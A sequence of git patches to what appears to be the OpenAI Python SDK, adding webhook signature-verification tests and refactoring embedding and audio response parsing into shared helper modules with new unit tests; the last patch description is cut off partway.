- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_verify_signature_timestamp_too_new(self, async_client: openai.AsyncOpenAI) -> None:
- # Use a timestamp that's in the future beyond tolerance from our test timestamp
- future_timestamp = TEST_TIMESTAMP + 400 # 6 minutes 40 seconds in the future
- headers = create_test_headers(timestamp=future_timestamp, signature="v1,dummy_signature")
-
- with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too new"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_verify_signature_multiple_signatures_one_valid(self, async_client: openai.AsyncOpenAI) -> None:
- # Test multiple signatures: one invalid, one valid
- multiple_signatures = f"v1,invalid_signature {TEST_SIGNATURE}"
- headers = create_test_headers(signature=multiple_signatures)
-
- # Should not raise when at least one signature is valid
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
-
- @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
- @parametrize
- async def test_verify_signature_multiple_signatures_all_invalid(self, async_client: openai.AsyncOpenAI) -> None:
- # Test multiple invalid signatures
- multiple_invalid_signatures = "v1,invalid_signature1 v1,invalid_signature2"
- headers = create_test_headers(signature=multiple_invalid_signatures)
-
- with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
- async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
diff --git a/tests/lib/test_webhooks.py b/tests/lib/test_webhooks.py
new file mode 100644
index 0000000000..09e457aee9
--- /dev/null
+++ b/tests/lib/test_webhooks.py
@@ -0,0 +1,282 @@
+from __future__ import annotations
+
+import os
+from unittest import mock
+
+import pytest
+
+import openai
+from openai._exceptions import InvalidWebhookSignatureError
+
+base_url = os.environ.get("TEST_API_BASE_URL", "http://127.0.0.1:4010")
+
+# Standardized test constants (matches TypeScript implementation)
+TEST_SECRET = "whsec_RdvaYFYUXuIFuEbvZHwMfYFhUf7aMYjYcmM24+Aj40c="
+TEST_PAYLOAD = '{"id": "evt_685c059ae3a481909bdc86819b066fb6", "object": "event", "created_at": 1750861210, "type": "response.completed", "data": {"id": "resp_123"}}'
+TEST_TIMESTAMP = 1750861210 # Fixed timestamp that matches our test signature
+TEST_WEBHOOK_ID = "wh_685c059ae39c8190af8c71ed1022a24d"
+TEST_SIGNATURE = "v1,gUAg4R2hWouRZqRQG4uJypNS8YK885G838+EHb4nKBY="
+
+
+def create_test_headers(
+ timestamp: int | None = None, signature: str | None = None, webhook_id: str | None = None
+) -> dict[str, str]:
+ """Helper function to create test headers"""
+ return {
+ "webhook-signature": signature or TEST_SIGNATURE,
+ "webhook-timestamp": str(timestamp or TEST_TIMESTAMP),
+ "webhook-id": webhook_id or TEST_WEBHOOK_ID,
+ }
+
+
+class TestWebhooks:
+ parametrize = pytest.mark.parametrize("client", [False, True], indirect=True, ids=["loose", "strict"])
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_unwrap_with_secret(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ unwrapped = client.webhooks.unwrap(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+ assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
+ assert unwrapped.created_at == 1750861210
+
+ @parametrize
+ def test_unwrap_without_secret(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ with pytest.raises(ValueError, match="The webhook secret must either be set"):
+ client.webhooks.unwrap(TEST_PAYLOAD, headers)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_valid(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ # Should not raise - this is a truly valid signature for this timestamp
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @parametrize
+ def test_verify_signature_invalid_secret_format(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ with pytest.raises(ValueError, match="The webhook secret must either be set"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=None)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_invalid(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret="invalid_secret")
+
+ @parametrize
+ def test_verify_signature_missing_webhook_signature_header(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers(signature=None)
+ del headers["webhook-signature"]
+ with pytest.raises(ValueError, match="Could not find webhook-signature header"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @parametrize
+ def test_verify_signature_missing_webhook_timestamp_header(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ del headers["webhook-timestamp"]
+ with pytest.raises(ValueError, match="Could not find webhook-timestamp header"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @parametrize
+ def test_verify_signature_missing_webhook_id_header(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ del headers["webhook-id"]
+ with pytest.raises(ValueError, match="Could not find webhook-id header"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_payload_bytes(self, client: openai.OpenAI) -> None:
+ headers = create_test_headers()
+ client.webhooks.verify_signature(TEST_PAYLOAD.encode("utf-8"), headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ def test_unwrap_with_client_secret(self) -> None:
+ test_client = openai.OpenAI(base_url=base_url, api_key="test-api-key", webhook_secret=TEST_SECRET)
+ headers = create_test_headers()
+
+ unwrapped = test_client.webhooks.unwrap(TEST_PAYLOAD, headers)
+ assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
+ assert unwrapped.created_at == 1750861210
+
+ @parametrize
+ def test_verify_signature_timestamp_too_old(self, client: openai.OpenAI) -> None:
+ # Use a timestamp that's older than 5 minutes from our test timestamp
+ old_timestamp = TEST_TIMESTAMP - 400 # 6 minutes 40 seconds ago
+ headers = create_test_headers(timestamp=old_timestamp, signature="v1,dummy_signature")
+
+ with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too old"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_timestamp_too_new(self, client: openai.OpenAI) -> None:
+ # Use a timestamp that's in the future beyond tolerance from our test timestamp
+ future_timestamp = TEST_TIMESTAMP + 400 # 6 minutes 40 seconds in the future
+ headers = create_test_headers(timestamp=future_timestamp, signature="v1,dummy_signature")
+
+ with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too new"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_custom_tolerance(self, client: openai.OpenAI) -> None:
+ # Use a timestamp that's older than default tolerance but within custom tolerance
+ old_timestamp = TEST_TIMESTAMP - 400 # 6 minutes 40 seconds ago from test timestamp
+ headers = create_test_headers(timestamp=old_timestamp, signature="v1,dummy_signature")
+
+ # Should fail with default tolerance
+ with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too old"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ # Should also fail with custom tolerance of 10 minutes (signature won't match)
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET, tolerance=600)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_recent_timestamp_succeeds(self, client: openai.OpenAI) -> None:
+ # Use a recent timestamp with dummy signature
+ headers = create_test_headers(signature="v1,dummy_signature")
+
+ # Should fail on signature verification (not timestamp validation)
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_multiple_signatures_one_valid(self, client: openai.OpenAI) -> None:
+ # Test multiple signatures: one invalid, one valid
+ multiple_signatures = f"v1,invalid_signature {TEST_SIGNATURE}"
+ headers = create_test_headers(signature=multiple_signatures)
+
+ # Should not raise when at least one signature is valid
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ def test_verify_signature_multiple_signatures_all_invalid(self, client: openai.OpenAI) -> None:
+ # Test multiple invalid signatures
+ multiple_invalid_signatures = "v1,invalid_signature1 v1,invalid_signature2"
+ headers = create_test_headers(signature=multiple_invalid_signatures)
+
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+
+class TestAsyncWebhooks:
+ parametrize = pytest.mark.parametrize(
+ "async_client", [False, True, {"http_client": "aiohttp"}], indirect=True, ids=["loose", "strict", "aiohttp"]
+ )
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_unwrap_with_secret(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ unwrapped = async_client.webhooks.unwrap(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+ assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
+ assert unwrapped.created_at == 1750861210
+
+ @parametrize
+ async def test_unwrap_without_secret(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ with pytest.raises(ValueError, match="The webhook secret must either be set"):
+ async_client.webhooks.unwrap(TEST_PAYLOAD, headers)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_verify_signature_valid(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ # Should not raise - this is a truly valid signature for this timestamp
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @parametrize
+ async def test_verify_signature_invalid_secret_format(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ with pytest.raises(ValueError, match="The webhook secret must either be set"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=None)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_verify_signature_invalid(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret="invalid_secret")
+
+ @parametrize
+ async def test_verify_signature_missing_webhook_signature_header(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ del headers["webhook-signature"]
+ with pytest.raises(ValueError, match="Could not find webhook-signature header"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @parametrize
+ async def test_verify_signature_missing_webhook_timestamp_header(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ del headers["webhook-timestamp"]
+ with pytest.raises(ValueError, match="Could not find webhook-timestamp header"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @parametrize
+ async def test_verify_signature_missing_webhook_id_header(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ del headers["webhook-id"]
+ with pytest.raises(ValueError, match="Could not find webhook-id header"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_verify_signature_payload_bytes(self, async_client: openai.AsyncOpenAI) -> None:
+ headers = create_test_headers()
+ async_client.webhooks.verify_signature(TEST_PAYLOAD.encode("utf-8"), headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ async def test_unwrap_with_client_secret(self) -> None:
+ test_async_client = openai.AsyncOpenAI(base_url=base_url, api_key="test-api-key", webhook_secret=TEST_SECRET)
+ headers = create_test_headers()
+
+ unwrapped = test_async_client.webhooks.unwrap(TEST_PAYLOAD, headers)
+ assert unwrapped.id == "evt_685c059ae3a481909bdc86819b066fb6"
+ assert unwrapped.created_at == 1750861210
+
+ @parametrize
+ async def test_verify_signature_timestamp_too_old(self, async_client: openai.AsyncOpenAI) -> None:
+ # Use a timestamp that's older than 5 minutes from our test timestamp
+ old_timestamp = TEST_TIMESTAMP - 400 # 6 minutes 40 seconds ago
+ headers = create_test_headers(timestamp=old_timestamp, signature="v1,dummy_signature")
+
+ with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too old"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_verify_signature_timestamp_too_new(self, async_client: openai.AsyncOpenAI) -> None:
+ # Use a timestamp that's in the future beyond tolerance from our test timestamp
+ future_timestamp = TEST_TIMESTAMP + 400 # 6 minutes 40 seconds in the future
+ headers = create_test_headers(timestamp=future_timestamp, signature="v1,dummy_signature")
+
+ with pytest.raises(InvalidWebhookSignatureError, match="Webhook timestamp is too new"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_verify_signature_multiple_signatures_one_valid(self, async_client: openai.AsyncOpenAI) -> None:
+ # Test multiple signatures: one invalid, one valid
+ multiple_signatures = f"v1,invalid_signature {TEST_SIGNATURE}"
+ headers = create_test_headers(signature=multiple_signatures)
+
+ # Should not raise when at least one signature is valid
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
+
+ @mock.patch("time.time", mock.MagicMock(return_value=TEST_TIMESTAMP))
+ @parametrize
+ async def test_verify_signature_multiple_signatures_all_invalid(self, async_client: openai.AsyncOpenAI) -> None:
+ # Test multiple invalid signatures
+ multiple_invalid_signatures = "v1,invalid_signature1 v1,invalid_signature2"
+ headers = create_test_headers(signature=multiple_invalid_signatures)
+
+ with pytest.raises(InvalidWebhookSignatureError, match="The given webhook signature does not match"):
+ async_client.webhooks.verify_signature(TEST_PAYLOAD, headers, secret=TEST_SECRET)
From 50de9af45900fa2c88ac11efbb7f9a7ff0057c42 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 22:50:10 +0000
Subject: [PATCH 058/341] refactor(api): share embedding response decoding
(#3699)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the duplicated embeddings response decoder into the SDK-owned
`lib/_parsing/_embeddings.py` module. Both resource methods use the
existing
`post_parser` hook. The decoder logic is unchanged: omitted encoding
requests
base64 and decodes it in place; explicit formats pass through; empty
data keeps
the existing `ValueError`; NumPy and stdlib decoding keep their existing
errors.
Public signatures, exports, request fields and order, sync/async
behavior, and
raw/streaming response wrappers are unchanged. No compiler, schema,
dependency,
or generation-metadata changes are included.
## Additional context & links
New handwritten coverage is in `tests/lib/test_embeddings.py`:
- `test_decode_preserves_response_and_non_string_vectors` checks
in-place
decoding, both omitted-value sentinels, and untouched non-string
vectors.
- `test_explicit_format_is_untouched`,
`test_missing_data_keeps_existing_error`, and
`test_invalid_data_preserves_decoder_errors` cover passthrough and
failures.
- `test_sync_create_uses_decoder` and `test_async_create_uses_decoder`
cover
normal, raw, and streaming responses with both decoder implementations.
Validation:
- Command: `python -m pytest -q -n 4
tests/api_resources/test_embeddings.py tests/lib/test_embeddings.py`
passed 77 tests under Pydantic v2 and 77 under Pydantic v1.
- `./scripts/format` and `./scripts/lint` passed, including Ruff,
Pyright, mypy,
and import checks. Unrelated formatter-only reporter edits are excluded.
- `./scripts/build` passed; the wheel and source distribution both
contain the
new private helper.
- The public custom-code report verifies 41 mixed files, only the
embeddings
customization changed, and 40 other customizations unchanged. The
embeddings
patch shrinks from +73/-22 to +27/-21. `.castiron.stats.yml` is
unchanged.
Command to reproduce the report from this branch:
```sh
$ python3 scripts/castiron/custom_code_report.py report \
--base 8edd9ae411f9d0a5385447a4697c9f7042868213 \
--head 38cf9c9ccb2c4e007ada4672424733845e0c29e9 \
--fetch --require-head-hash --public \
--out /tmp/castiron-embedding-decoder
```
---
src/openai/lib/_parsing/_embeddings.py | 35 +++++
src/openai/resources/embeddings.py | 55 +-------
tests/lib/test_embeddings.py | 185 +++++++++++++++++++++++++
3 files changed, 225 insertions(+), 50 deletions(-)
create mode 100644 src/openai/lib/_parsing/_embeddings.py
create mode 100644 tests/lib/test_embeddings.py
diff --git a/src/openai/lib/_parsing/_embeddings.py b/src/openai/lib/_parsing/_embeddings.py
new file mode 100644
index 0000000000..acb890fa52
--- /dev/null
+++ b/src/openai/lib/_parsing/_embeddings.py
@@ -0,0 +1,35 @@
+from __future__ import annotations
+
+import array
+import base64
+from typing import cast
+
+from ..._types import Omit, NotGiven
+from ..._utils import is_given
+from ..._extras import numpy as np, has_numpy
+from ...types.create_embedding_response import CreateEmbeddingResponse
+
+
+def parse_embedding_response(
+ obj: CreateEmbeddingResponse, *, encoding_format: str | Omit | NotGiven
+) -> CreateEmbeddingResponse:
+ if is_given(encoding_format):
+ # don't modify the response object if a user explicitly asked for a format
+ return obj
+
+ if not obj.data:
+ raise ValueError("No embedding data received")
+
+ for embedding in obj.data:
+ data = cast(object, embedding.embedding)
+ if not isinstance(data, str):
+ continue
+ if not has_numpy():
+ # use array for base64 optimisation
+ embedding.embedding = array.array("f", base64.b64decode(data)).tolist()
+ else:
+ embedding.embedding = np.frombuffer( # type: ignore[no-untyped-call]
+ base64.b64decode(data), dtype="float32"
+ ).tolist()
+
+ return obj
diff --git a/src/openai/resources/embeddings.py b/src/openai/resources/embeddings.py
index 5b5a018de5..1868381372 100644
--- a/src/openai/resources/embeddings.py
+++ b/src/openai/resources/embeddings.py
@@ -2,9 +2,8 @@
from __future__ import annotations
-import array
-import base64
-from typing import Union, Iterable, cast
+from typing import Union, Iterable
+from functools import partial
from typing_extensions import Literal
import httpx2
@@ -14,11 +13,11 @@
from .._types import Body, Omit, Query, Headers, NotGiven, SequenceNotStr, omit, not_given
from .._utils import is_given, maybe_transform
from .._compat import cached_property
-from .._extras import numpy as np, has_numpy
from .._resource import SyncAPIResource, AsyncAPIResource
from .._response import to_streamed_response_wrapper, async_to_streamed_response_wrapper
from .._base_client import make_request_options
from ..types.embedding_model import EmbeddingModel
+from ..lib._parsing._embeddings import parse_embedding_response as _parse_embedding_response
from ..types.create_embedding_response import CreateEmbeddingResponse
__all__ = ["Embeddings", "AsyncEmbeddings"]
@@ -111,28 +110,6 @@ def create(
if not is_given(encoding_format):
params["encoding_format"] = "base64"
- def parser(obj: CreateEmbeddingResponse) -> CreateEmbeddingResponse:
- if is_given(encoding_format):
- # don't modify the response object if a user explicitly asked for a format
- return obj
-
- if not obj.data:
- raise ValueError("No embedding data received")
-
- for embedding in obj.data:
- data = cast(object, embedding.embedding)
- if not isinstance(data, str):
- continue
- if not has_numpy():
- # use array for base64 optimisation
- embedding.embedding = array.array("f", base64.b64decode(data)).tolist()
- else:
- embedding.embedding = np.frombuffer( # type: ignore[no-untyped-call]
- base64.b64decode(data), dtype="float32"
- ).tolist()
-
- return obj
-
return self._post(
"/embeddings",
body=maybe_transform(params, embedding_create_params.EmbeddingCreateParams),
@@ -141,7 +118,7 @@ def parser(obj: CreateEmbeddingResponse) -> CreateEmbeddingResponse:
extra_query=extra_query,
extra_body=extra_body,
timeout=timeout,
- post_parser=parser,
+ post_parser=partial(_parse_embedding_response, encoding_format=encoding_format),
security={"bearer_auth": True},
),
cast_to=CreateEmbeddingResponse,
@@ -235,28 +212,6 @@ async def create(
if not is_given(encoding_format):
params["encoding_format"] = "base64"
- def parser(obj: CreateEmbeddingResponse) -> CreateEmbeddingResponse:
- if is_given(encoding_format):
- # don't modify the response object if a user explicitly asked for a format
- return obj
-
- if not obj.data:
- raise ValueError("No embedding data received")
-
- for embedding in obj.data:
- data = cast(object, embedding.embedding)
- if not isinstance(data, str):
- continue
- if not has_numpy():
- # use array for base64 optimisation
- embedding.embedding = array.array("f", base64.b64decode(data)).tolist()
- else:
- embedding.embedding = np.frombuffer( # type: ignore[no-untyped-call]
- base64.b64decode(data), dtype="float32"
- ).tolist()
-
- return obj
-
return await self._post(
"/embeddings",
body=maybe_transform(params, embedding_create_params.EmbeddingCreateParams),
@@ -265,7 +220,7 @@ def parser(obj: CreateEmbeddingResponse) -> CreateEmbeddingResponse:
extra_query=extra_query,
extra_body=extra_body,
timeout=timeout,
- post_parser=parser,
+ post_parser=partial(_parse_embedding_response, encoding_format=encoding_format),
security={"bearer_auth": True},
),
cast_to=CreateEmbeddingResponse,
diff --git a/tests/lib/test_embeddings.py b/tests/lib/test_embeddings.py
new file mode 100644
index 0000000000..787d580716
--- /dev/null
+++ b/tests/lib/test_embeddings.py
@@ -0,0 +1,185 @@
+from __future__ import annotations
+
+import json
+import array
+import base64
+import binascii
+from typing import Any, cast
+from typing_extensions import Literal
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from tests.respx2 import MockRouter
+from openai._types import Omit, NotGiven, omit, not_given
+from openai._models import construct_type_unchecked
+from openai.lib._parsing import _embeddings as embeddings_parser
+from openai.types.create_embedding_response import CreateEmbeddingResponse
+
+VALUES = [0.125, -2.5, 3.75]
+ENCODED = base64.b64encode(array.array("f", VALUES).tobytes()).decode("ascii")
+EncodingFormat = Literal["float", "base64"] | Omit
+ResponseMode = Literal["normal", "raw", "streaming"]
+
+
+def response_body(*vectors: object) -> dict[str, object]:
+ return {
+ "data": [{"embedding": vector, "index": index, "object": "embedding"} for index, vector in enumerate(vectors)],
+ "model": "text-embedding-3-small",
+ "object": "list",
+ "usage": {"prompt_tokens": 1, "total_tokens": 1},
+ }
+
+
+def make_response(*vectors: object) -> CreateEmbeddingResponse:
+ return construct_type_unchecked(type_=CreateEmbeddingResponse, value=response_body(*vectors))
+
+
+@pytest.fixture(params=[False, True], ids=["stdlib", "numpy"])
+def decoder(request: pytest.FixtureRequest, monkeypatch: pytest.MonkeyPatch) -> None:
+ use_numpy = cast(bool, request.param)
+ if use_numpy:
+ pytest.importorskip("numpy")
+ monkeypatch.setattr(embeddings_parser, "has_numpy", lambda: use_numpy)
+
+
+@pytest.mark.usefixtures("decoder")
+@pytest.mark.parametrize("encoding_format", [omit, not_given], ids=["omit", "not-given"])
+def test_decode_preserves_response_and_non_string_vectors(encoding_format: Omit | NotGiven) -> None:
+ response = make_response(ENCODED, [4.0, 5.0], ENCODED)
+ data = response.data
+ unchanged_vector = data[1].embedding
+ usage = response.usage
+
+ parsed = embeddings_parser.parse_embedding_response(response, encoding_format=encoding_format)
+
+ assert parsed is response
+ assert parsed.data is data
+ assert parsed.data[0].embedding == VALUES
+ assert parsed.data[1].embedding is unchanged_vector
+ assert parsed.data[2].embedding == VALUES
+ assert parsed.usage is usage
+ assert parsed.model == "text-embedding-3-small"
+
+
+@pytest.mark.parametrize("encoding_format", ["float", "base64", None])
+@pytest.mark.parametrize("vectors", [(ENCODED,), ("abc",), ()], ids=["encoded", "invalid", "empty"])
+def test_explicit_format_is_untouched(
+ encoding_format: object, vectors: tuple[object, ...], monkeypatch: pytest.MonkeyPatch
+) -> None:
+ def unexpected_decoder() -> bool:
+ raise AssertionError("an explicit format must not inspect the decoder")
+
+ monkeypatch.setattr(embeddings_parser, "has_numpy", unexpected_decoder)
+ response = make_response(*vectors)
+ data = response.data
+ original = [cast(object, item.embedding) for item in data]
+
+ assert embeddings_parser.parse_embedding_response(response, encoding_format=cast(Any, encoding_format)) is response
+ assert response.data is data
+ assert [cast(object, item.embedding) for item in data] == original
+
+
+@pytest.mark.parametrize("encoding_format", [omit, not_given], ids=["omit", "not-given"])
+@pytest.mark.parametrize("data", [[], None], ids=["empty", "null"])
+def test_missing_data_keeps_existing_error(encoding_format: Omit | NotGiven, data: object) -> None:
+ body = response_body()
+ body["data"] = data
+ response = construct_type_unchecked(type_=CreateEmbeddingResponse, value=body)
+
+ with pytest.raises(ValueError, match=r"^No embedding data received$"):
+ embeddings_parser.parse_embedding_response(response, encoding_format=encoding_format)
+
+
+@pytest.mark.usefixtures("decoder")
+@pytest.mark.parametrize(
+ "encoded,error",
+ [("abc", binascii.Error), (base64.b64encode(b"abc").decode("ascii"), ValueError)],
+ ids=["invalid-base64", "invalid-float-buffer"],
+)
+def test_invalid_data_preserves_decoder_errors(encoded: str, error: type[Exception]) -> None:
+ response = make_response(encoded)
+
+ with pytest.raises(error):
+ embeddings_parser.parse_embedding_response(response, encoding_format=omit)
+
+
+def assert_request_and_response(
+ request: httpx2.Request, response: CreateEmbeddingResponse, encoding_format: EncodingFormat
+) -> None:
+ expected_format = encoding_format if isinstance(encoding_format, str) else "base64"
+ body = json.loads(request.content)
+ assert body == {
+ "input": "test input",
+ "model": "text-embedding-3-small",
+ "user": "fake-user",
+ "dimensions": 3,
+ "encoding_format": expected_format,
+ }
+ expected_vector = ENCODED if encoding_format == "base64" else VALUES
+ assert cast(object, response.data[0].embedding) == expected_vector
+
+
+@pytest.mark.respx2()
+@pytest.mark.usefixtures("decoder")
+@pytest.mark.parametrize("client", [False], indirect=True)
+@pytest.mark.parametrize("encoding_format", [omit, "float", "base64"], ids=["default", "float", "base64"])
+@pytest.mark.parametrize("mode", ["normal", "raw", "streaming"])
+def test_sync_create_uses_decoder(
+ client: OpenAI, respx2_mock: MockRouter, encoding_format: EncodingFormat, mode: ResponseMode
+) -> None:
+ vector = VALUES if encoding_format == "float" else ENCODED
+ route = respx2_mock.post(f"{str(client.base_url).rstrip('/')}/embeddings").mock(
+ return_value=httpx2.Response(200, json=response_body(vector))
+ )
+ kwargs: dict[str, Any] = {
+ "input": "test input",
+ "model": "text-embedding-3-small",
+ "user": "fake-user",
+ "dimensions": 3,
+ "encoding_format": encoding_format,
+ }
+
+ if mode == "normal":
+ response = client.embeddings.create(**kwargs)
+ elif mode == "raw":
+ response = client.embeddings.with_raw_response.create(**kwargs).parse()
+ else:
+ with client.embeddings.with_streaming_response.create(**kwargs) as raw_response:
+ response = raw_response.parse()
+
+ assert route.call_count == 1
+ assert_request_and_response(route.calls.last.request, response, encoding_format)
+
+
+@pytest.mark.respx2()
+@pytest.mark.usefixtures("decoder")
+@pytest.mark.parametrize("async_client", [False], indirect=True)
+@pytest.mark.parametrize("encoding_format", [omit, "float", "base64"], ids=["default", "float", "base64"])
+@pytest.mark.parametrize("mode", ["normal", "raw", "streaming"])
+async def test_async_create_uses_decoder(
+ async_client: AsyncOpenAI, respx2_mock: MockRouter, encoding_format: EncodingFormat, mode: ResponseMode
+) -> None:
+ vector = VALUES if encoding_format == "float" else ENCODED
+ route = respx2_mock.post(f"{str(async_client.base_url).rstrip('/')}/embeddings").mock(
+ return_value=httpx2.Response(200, json=response_body(vector))
+ )
+ kwargs: dict[str, Any] = {
+ "input": "test input",
+ "model": "text-embedding-3-small",
+ "user": "fake-user",
+ "dimensions": 3,
+ "encoding_format": encoding_format,
+ }
+
+ if mode == "normal":
+ response = await async_client.embeddings.create(**kwargs)
+ elif mode == "raw":
+ response = (await async_client.embeddings.with_raw_response.create(**kwargs)).parse()
+ else:
+ async with async_client.embeddings.with_streaming_response.create(**kwargs) as raw_response:
+ response = await raw_response.parse()
+
+ assert route.call_count == 1
+ assert_request_and_response(route.calls.last.request, response, encoding_format)
From ece4324da0b96f848b48bdef090a372ff0a1db26 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 20 Aug 2026 22:51:14 +0000
Subject: [PATCH 059/341] refactor(api): isolate audio response format
selection (#3701)
- [x] I understand that this repository is auto-generated and my pull
request may not be merged
## Changes being requested
Move the transcription and translation response-format selectors into
the
SDK-owned `lib/_parsing/_audio.py` module. Keep the existing private
resource
functions as thin wrappers, including their signatures and module
loggers.
The selection branches are unchanged, including `None`/omitted handling,
diarized transcription, text formats, and the existing fallback
warnings.
Every resource class is unchanged: public overloads, return annotations,
request fields and order, decorators, and sync/async response wrappers
stay
intact. No compiler, schema, dependency, or generation-metadata changes
are
included.
## Additional context & links
New handwritten coverage is in
`tests/lib/test_audio_response_format.py`:
- `test_supported_formats_keep_exact_response_classes` and
`test_default_compatibility_values` check the exact response classes.
- `test_fallback_keeps_resource_logger_and_method` and
`test_fallback_keeps_historical_logger_name_and_warning` preserve the
fallback class, logger, warning text, and existing `warn`/`warning`
behavior.
- `test_sync_create_uses_selected_response_class` and
`test_async_create_uses_selected_response_class` cover every supported
format
through normal, raw, and streaming responses in strict and loose modes.
- `test_sync_transcription_stream_still_yields_events` and
`test_async_transcription_stream_still_yields_events` retain
event-stream
behavior. The existing overload checks remain in
